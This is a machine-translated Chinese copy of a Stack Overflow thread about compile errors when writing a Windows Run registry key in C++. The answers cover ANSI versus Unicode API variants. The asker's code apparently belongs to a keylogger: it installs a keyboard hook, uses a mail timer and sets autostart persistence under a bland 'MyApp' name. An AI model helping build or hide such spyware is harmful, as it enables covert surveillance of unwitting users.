2017-03-18 120 views
1

我對某些C++代碼有問題。C++註冊表鍵問題

爲了更確切地說,我希望在Windows啓動時運行的程序註冊一個用於自動啓動的註冊表項。
其餘的代碼放在另一個頭文件中,我認爲你們不需要它。

#include <iostream> 
#include <windows.h> 
#include "KeybHook.h" 
using namespace std; 

int main() 
{ 
    MSG Msg; 
    IO::MkDir (IO::GetOurPath (true)); 
    InstalHook(); 
    while (GetMessage (&Msg, NULL, 0, 0)) 
     { 
      TranslateMessage(&Msg); 
      DispatchMessage(&Msg); 
     } 
    MailTimer.Stop(); 
    std::wstring progPath = L"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\MyApp.exe"; 
    HKEY hkey = NULL; 
    LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //Creates a key 
    LONG status = RegSetValueEx(hkey, L"MyApp", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t)); 
    return 0; 
} 

而且我得到這個錯誤在編譯

main.cpp||In function 'int main()':| 
main.cpp|35|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegCreateKeyA(HKEY, LPCSTR, PHKEY)'| 
main.cpp|36|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegSetValueExA(HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD)'| 
||=== Build failed: 2 error(s), 8 warning(s) (0 minute(s), 1 second(s)) ===| 
+0

使用'wstring'而不是'string'的具體原因是什麼? – Arash

+2

@Arash Windows使用UTF-16,所以'wstring'就是你如何獲得Unicode支持。 – MrEricSir

+0

您是否閱讀過錯誤信息?沒有解釋這個問題? –

回答

3

您正在使用的Windows API的ANSI版本,但你的字符串都是Unicode。您需要同時使用#define UNICODE#define _UNICODE(您需要兩個;一個用於Windows API,一個用於C運行系統)。

如果您在Visual Studio項目下構建,您可以在項目設置中的「常規/字符集」下啓用「使用Unicode字符集」來定義這些項目,而無需編輯您的代碼。

+4

或者明確使用'RegSetValueExW'和'RegCreateKeyW'。 –

+0

好吧,它的工作方式是這樣的,但它影響了其餘的代碼。是否有另一種方法來註冊它而不使用UNICODE,使用std :: string而不是std :: wstring? –

+0

@GrigorasAndrei:是的,省略所有那些領先於你的字符串的'L' - 這就是把它們變成Unicode字符串的原因。 – RichieHindle